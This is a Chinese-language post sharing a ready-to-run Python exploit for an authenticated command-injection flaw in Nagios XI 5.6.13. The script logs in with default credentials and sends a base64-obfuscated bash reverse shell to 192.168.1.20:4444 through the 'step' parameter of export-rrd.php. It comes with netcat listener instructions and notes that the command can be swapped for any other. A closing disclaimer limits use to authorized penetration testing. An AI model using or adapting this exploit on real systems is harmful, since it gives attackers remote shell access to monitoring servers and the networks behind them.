Nagiosxi的一个RCE漏洞利用脚本

登陆后的,比较鸡肋。4月份发现的,一直放着,后来看官网更新了,直接发出来吧。另外官方还有一个明显的sql注入没修复。不过也是登陆后,感兴趣的可以去看一下。

简要信息

版本: 5.6.13(5.6.11版本也存在问题,只需要把最后文件名字中的 - 去掉)
条件:登陆后
漏洞文件相关路径:/includes/components/xicore/export-rrd.php、includes/utils-rrdexport.inc.php
漏洞参数:step、start、end

环境

python3
requests库,使用pip3安装即可。python3 -m pip install requests

运行

  1. 首先在远程机器上监听端口,用于反弹。命令:nc -l -v -p 4444
  2. python3 nagiox.py target (注:需带协议,如http或https)

另外,如果需要执行自己的命令,需要修改commond变量就可以了,这里也懒得改了。脚本中的命令"1|(echo+\"YmFzaCAtaSA%2bJiAvZGV2L3RjcC8xOTIuMTY4LjEuMjAvNDQ0NCAwPiYx\"|base64+-d+|sh+-i);#"
其实就是执行的bash -i >& /dev/tcp/192.168.1.20/4444 0>&1

代码(保存为py文件)

#!/usr/bin/env python3
import sys, re 
import requests 

user = 'nagiosadmin' 
pwd = 'nagiosadmin' 
 
def main():
    print("You need runing nc -l -vv -p 4444 at server.")
    session = requests.session() 
    baseUrl = target + '/nagiosxi/'     
    checkBaseUrl = session.get(baseUrl)     
    checkBaseResp = checkBaseUrl.text 
    
    nsp_patt = "var nsp_str = \"(.*?)\"" 
    find_nsp = re.compile(nsp_patt)     
    found_nsp = re.search(find_nsp, checkBaseResp)     
    if found_nsp:         
        nsp_val = found_nsp.group(1)         
        print('nsp value found: %s' % ( nsp_val ) )    
        loginurl = baseUrl + '/login.php'        
        data_login = {'nsp': nsp_val,'page': 'auth', 'debug':'', 'pageopt':'login','redirect':'http://192.168.121.139/nagiosxi/index.php','username':user, 'password':pwd,'loginButton':''} 
        req = session.post(loginurl, data=data_login, verify=False, allow_redirects=True)         
        status_code = req.status_code
        resp = req.text
        
        if status_code == 200:                    
            commond = "1|(echo+\"YmFzaCAtaSA%2bJiAvZGV2L3RjcC8xOTIuMTY4LjEuMjAvNDQ0NCAwPiYx\"|base64+-d+|sh+-i);#"             
            
            req = "{}/includes/components/xicore/export-rrd.php?host=localhost&service=Root%20Partition&start=1584108670&end=1584195130&step={}&type=a&nsp={}".format(baseUrl,commond,nsp_val)
            execsh = session.get(req, verify=False, allow_redirects=True)             
            print(execsh.text)

if __name__ == '__main__':    
    target = sys.argv[1] 
    main()

注:请不要将该脚本用于非法用途,仅用于合法的,经过授权的渗透测试,公司内部安全检查与研究使用。由于使用工具带来的不良后果与本人无关。